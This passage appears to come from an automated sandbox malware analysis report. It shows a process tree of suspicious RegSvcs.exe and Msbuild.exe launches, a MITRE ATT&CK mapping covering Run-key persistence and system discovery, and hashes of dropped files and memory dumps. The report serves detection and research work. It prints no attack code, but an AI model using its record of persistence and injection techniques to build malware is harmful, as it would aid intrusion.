        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5904
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5132
      - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 848
        6⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:5828
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5152
      - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 908
        6⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:2076
    - - C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5160
      - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 812
        6⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:3656
    - - C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5140
      - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 800
        6⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:1408
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6768 /prefetch:1
    3⤵
    PID:5204
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5172 /prefetch:1
    3⤵
    PID:3020
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1116 /prefetch:1
    3⤵
    PID:5344
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6432 /prefetch:1
    3⤵
    PID:3132
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5640 /prefetch:2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5184

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4980

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

Filesize
315B

MD5
1448c443e3b0b27b3f7ca67fcde5a776

SHA1
29d48a1610b172d86d08e1e3a41cd32deb96602c

SHA256
a9f5c9ad6b816cc063e0ed7e647cc9543a14b0b5754e3262213101135815bec2

SHA512
d2d91eb6d490c67f754feda7cb1b63c55c978c98d2c4ce832f927937783b8ba53ad8bdca3fb2dc110b3fd50e3385c799c3a7000c00a4c5bc04b8d037d3474b52

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
b5fffb9ed7c2c7454da60348607ac641

SHA1
8d1e01517d1f0532f0871025a38d78f4520b8ebc

SHA256
c8dddfb100f2783ecbb92cec7f878b30d6015c2844296142e710fb9e10cc7c73

SHA512
9182a7b31363398393df0e9db6c9e16a14209630cb256e16ccbe41a908b80aa362fc1a736bdfa94d3b74c3db636dc51b717fc31d33a9fa26c3889dec6c0076a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
32d05d01d96358f7d334df6dab8b12ed

SHA1
7b371e4797603b195a34721bb21f0e7f1e2929da

SHA256
287349738fb9020d95f6468fa4a98684685d0195ee5e63e717e4b09aa99b402e

SHA512
e7f73b1af7c7512899728708b890acd25d4c68e971f84d2d5bc24305f972778d8bced6a3c7e3d9f977cf2fc82e0d9e3746a6ccb0f9668a709ac8a4db290c551c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
48B

MD5
bf7786a480d4191d6773b9ad04a0739f

SHA1
e822230016bb25a429a928589c9860654cacd952

SHA256
9fa0c13188e9fb4cb36c8bde5985106100c03e0624719cb3d66ff5e1d2020dbe

SHA512
5ba471880d7221c3f9829b343ef65ce4f0e7f934e577be2dbbe633261cd558933da29a6c4818a6a9237b3547e63d8ae5c77d0bdf027bdc3870447c991c5789f8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
acfeeb556d60a5a195edc442da47b267

SHA1
b4fbd672cdf8ab7a1b8e4be2d50fc36c51f75652

SHA256
a6b40cfa13f110ca55386d8fbf5aca3316ff274ab2985fb29739523769dc2b74

SHA512
6de2fcc0dc86bb9146e2e17caefad2bb6e09c22d9576b524ee09fc8db5ad80f96e0ca54c57eba6eaf0484551c63b875275a8ef6afd1cd14fc4e19095638091e5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico

Filesize
70KB

MD5
e5e3377341056643b0494b6842c0b544

SHA1
d53fd8e256ec9d5cef8ef5387872e544a2df9108

SHA256
e23040951e464b53b84b11c3466bbd4707a009018819f9ad2a79d1b0b309bc25

SHA512
83f09e48d009a5cf83fa9aa8f28187f7f4202c84e2d0d6e5806c468f4a24b2478b73077381d2a21c89aa64884df3c56e8dc94eb4ad2d6a8085ac2feb1e26c2ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
17db8386307d03f18f8cb399f90cd5c6

SHA1
cebed684c07b3a23a5f02222031a8257b5660172

SHA256
897851f1f8f3d8ac860a457317d400094a66d95b16c44276548e996e23889af3

SHA512
6e291d91af8556596390b97999036d20a438baff5dd8b64a875dc1b69e3420418961f2eb98b5bff13fe3c157da511d19200cbbf7eaf2a3001e25da9f74babf15

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State~RFe589110.TMP

Filesize
59B

MD5
2800881c775077e1c4b6e06bf4676de4

SHA1
2873631068c8b3b9495638c865915be822442c8b

SHA256
226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974

SHA512
e342407ab65cc68f1b3fd706cd0a37680a0864ffd30a6539730180ede2cdcd732cc97ae0b9ef7db12da5c0f83e429df0840dbf7596aca859a0301665e517377b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
572ccfa1ab7fbe9c3843867cc52444b4

SHA1
2084d0af11e7c14684d79a26b44e79f5de9d21ec

SHA256
cf7afef9429fa9359b59b6bf70c0af05d7354de8c3faeea0b0f2e636638689fd

SHA512
3a47e50fcad841c4ef3fb597d275602b841460633ab72321ac66d9133ca62bed2d645f2890315c493d74c13388fbaa3b47bc86f1cea3be52b4de4b17ffebd390

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
4KB

MD5
7ddce2916b92f17d06ddf0b815f91779

SHA1
33345a58916f69ce2890d04324c4ef0a8d362567

SHA256
0178023aaca61ecb2f0a74efda6cec3cc1d01d6480cc890c1ba8ecfd851d9061

SHA512
d44a1600ba663948f1c529e6584e4170b6f060c4ed3d965958a577ad97e77a6d71a4ea045ef041c2cbbde7fc998e2e016fdfd0cee647f6438e0d8f5a4e29e001

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
27ca871e23beb13aa5264e7a0ca5d577

SHA1
2b8ee6ce65c836f4d05c200b678e493ea66ebc66

SHA256
a58d38c9e0b4aab6e55544d251672c2b4ca05c0ce455180e55a8ab48a2eeeec1

SHA512
a4102844c1f86491febb949b2bbb96a844e293b133b2ead7e63feedf1af767b11e6f6d505787a80470d709166843d71fc9e96031abc4e00fa2e5647a20f62da9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
6e466bd18b7f6077ca9f1d3c125ac5c2

SHA1
32a4a64e853f294d98170b86bbace9669b58dfb8

SHA256
74fc4f126c0a55211be97a17dc55a73113008a6f27d0fc78b2b47234c0389ddc

SHA512
9bd77ee253ce4d2971a4b07ed892526ed20ff18a501c6ba2a180c92be62e4a56d4bbf20ba3fc4fbf9cf6ce68b3817cb67013ad5f30211c5af44c1e98608cb9e3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
ac2b76299740efc6ea9da792f8863779

SHA1
06ad901d98134e52218f6714075d5d76418aa7f5

SHA256
cc35a810ed39033fa4f586141116e74e066e9c0c3a8c8a862e8949e3309f9199

SHA512
eec3c24ce665f00cd28a2b60eb496a685ca0042c484c1becee89c33c6b0c93d901686dc0142d3c490d349d8b967ecbbd2f45d26c64052fb41aad349100bd8f77

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
a9f70d2a6a6f20e2ac63da35782db2ff

SHA1
419a52ffe983238e5ad3419a299ade5c334646c1

SHA256
2eb2851ab6a33dc1d3d7d00f21b00eae9c179b5c56e7503a68fa3c96f55b3b01

SHA512
13f2dcd7df8a504a5746c25ae6855a07303995f3aaf273ecf6706855a118ef12939b04c793e101e7a8d7822ed47d1d8e0cf8bcfa2b82e4f923ed0ebde0c48f7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
417bbfc4e36670bc0e1be4b887d11feb

SHA1
c61eabb3eeeebc7c76f7edfbc9634a271b35b290

SHA256
ae28d872daccac220094e856c3b9bfbf8b40ed94313279a349d27036cf5a5c63

SHA512
65721507cabbf8ddaa20293289f4bebd6601a7def0f1c58a6a68fd5c388754682b2e85de3b3ac0ebaa8208f6b3bc28c60145e0647954c747d76f493816ded2d9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57dafe.TMP

Filesize
371B

MD5
2f45af7cba5c7ac410d982e6633eb120

SHA1
914217e8c49e3f7e5df7df0ded47ebcd5cd0235b

SHA256
d86540611c84cb4fb45d8d70ca316b9d32e398c7797223675d551c86d8ef71c6

SHA512
bcbb1eb7af638e04885d5b03b790cd71947f45807ac8237bcd6418d990e71d90ef6eda0fe149f175753ba1d5839cb339d148f5b9863ee60760af9c7be428192b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
60ec1be3f17ee45e12de0871e46910de

SHA1
4469be70f833fa67f67c5d415fab51983051e0a2

SHA256
5d508a8e1f3d1facf88640b19cb3d738bea8118e9b2cfb3a0f26a22e94f35e99

SHA512
9c0dad7e0e460816cb71369939da9c0b16ff6e75f1a8f6698ca42d1df08aa58e3d059bd5131154bc431ee8a4224a0f80cfdc872bdb9b194a09b68acb781f6ca0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
8KB

MD5
49d4bd6ed15606fcdf10a24f2825aadd

SHA1
7738f9fd95a5982cdffc4b9c212b26f8ea5bf43b

SHA256
964321680f71073cb5d6d67157c13dcb8ac26348909e40da01d8fdc008812ab2

SHA512
d63e893fba6de9d87db0055938f6af526bc0e1df82249a863adc048260776efd62e16a65a0b84ef8a78e72047a7755f769749dfc15a9be37d8f0c792c2dd9cd3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5xip5h0t.qyv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
3KB

MD5
703355cd5951a9f4ac87fbfb27bb34a6

SHA1
668ab17164edaba573c25b8a576a48bd736b9078

SHA256
b6c2eacd85ce4224a3ae848c2cf95586e9a0a903bb3c57a05dd0f73b236a6f0a

SHA512
b2ed4a49d9068c6bb9d65da2290b1a557b1e17b773ce4de8f97ee8714caa4311e7899eedeefe52025cb51323c35269e0eb819b281613b0e287d9990081e2d3a6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
3KB

MD5
d7c720c7e541e3b8208dd11f2031cd07

SHA1
ff40f302d8cdf760fb1074353eba813f060e4d31

SHA256
622d9264197a8702e7d99ecfe53c94cc79e55c2aa6e8e0eb86b52904a97b134f

SHA512
ce58385829cc800132c6b5955d1afd4c8a18e560ebf2337f6cf86085849594b012f29a38d283d628af9d3eb3522e0fd8f9912eca2b4e95331cc365e1aa8f4225

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 234929.crdownload

Filesize
82KB

MD5
751e6975989f9e9d5cec99489af09f76

SHA1
d823333de57deeacb7a31f70e532f258c5dd90e7

SHA256
adb1baa5b9e703a11fb39cbba64e51c6d4a25e96a5d7a4cf48640e8017416379

SHA512
b85f7bd77218a1d34324396ac5298ad45dcb50968b4e31b34fa6fe5258fad7dd8add248cdd75d10fc810a3f9aff83c5ebf3343fd23a274014047466d0fbe4b2e

Download Submit
memory/2296-545-0x0000000002630000-0x0000000002A30000-memory.dmp

Filesize
4.0MB

Download
memory/2296-548-0x00007FFFD2C50000-0x00007FFFD2E48000-memory.dmp

Filesize
2.0MB

Download
memory/2296-537-0x0000000000A80000-0x0000000000A89000-memory.dmp

Filesize
36KB

Download
memory/2296-550-0x0000000077640000-0x000000007787A000-memory.dmp

Filesize
2.2MB

Download
memory/2308-443-0x000001DC26420000-0x000001DC26442000-memory.dmp

Filesize
136KB

Download
memory/2308-490-0x000001DC3E6B0000-0x000001DC3E6C2000-memory.dmp

Filesize
72KB

Download
memory/2308-491-0x000001DC3EB60000-0x000001DC3EB7A000-memory.dmp

Filesize
104KB

Download
memory/2308-448-0x000001DC3ED10000-0x000001DC3EED2000-memory.dmp

Filesize
1.8MB

Download
memory/2460-547-0x0000000002BC0000-0x0000000002FC0000-memory.dmp

Filesize
4.0MB

Download
memory/5132-494-0x0000000000400000-0x00000000004B8000-memory.dmp

Filesize
736KB

Download
memory/5904-534-0x00007FFFD2C50000-0x00007FFFD2E48000-memory.dmp

Filesize
2.0MB

Download
memory/5904-525-0x00000000026A0000-0x00000000026A8000-memory.dmp

Filesize
32KB

Download
memory/5904-501-0x0000000005F00000-0x0000000005F92000-memory.dmp

Filesize
584KB

Download
memory/5904-526-0x0000000004DB0000-0x0000000004DC0000-memory.dmp

Filesize
64KB

Download
memory/5904-532-0x0000000007680000-0x0000000007A80000-memory.dmp

Filesize
4.0MB

Download
memory/5904-527-0x0000000007680000-0x0000000007A80000-memory.dmp

Filesize
4.0MB

Download
memory/5904-536-0x0000000077640000-0x000000007787A000-memory.dmp

Filesize
2.2MB

Download
memory/5928-504-0x0000000004BC0000-0x0000000004C66000-memory.dmp

Filesize
664KB

Download
memory/5928-538-0x00007FFFD2C50000-0x00007FFFD2E48000-memory.dmp

Filesize
2.0MB

Download
memory/5928-528-0x0000000007280000-0x0000000007290000-memory.dmp

Filesize
64KB

Download
memory/5928-541-0x0000000077640000-0x000000007787A000-memory.dmp

Filesize
2.2MB

Download
memory/5928-533-0x00000000074E0000-0x00000000078E0000-memory.dmp

Filesize
4.0MB

Download
memory/5928-498-0x0000000000630000-0x00000000006E8000-memory.dmp

Filesize
736KB

Download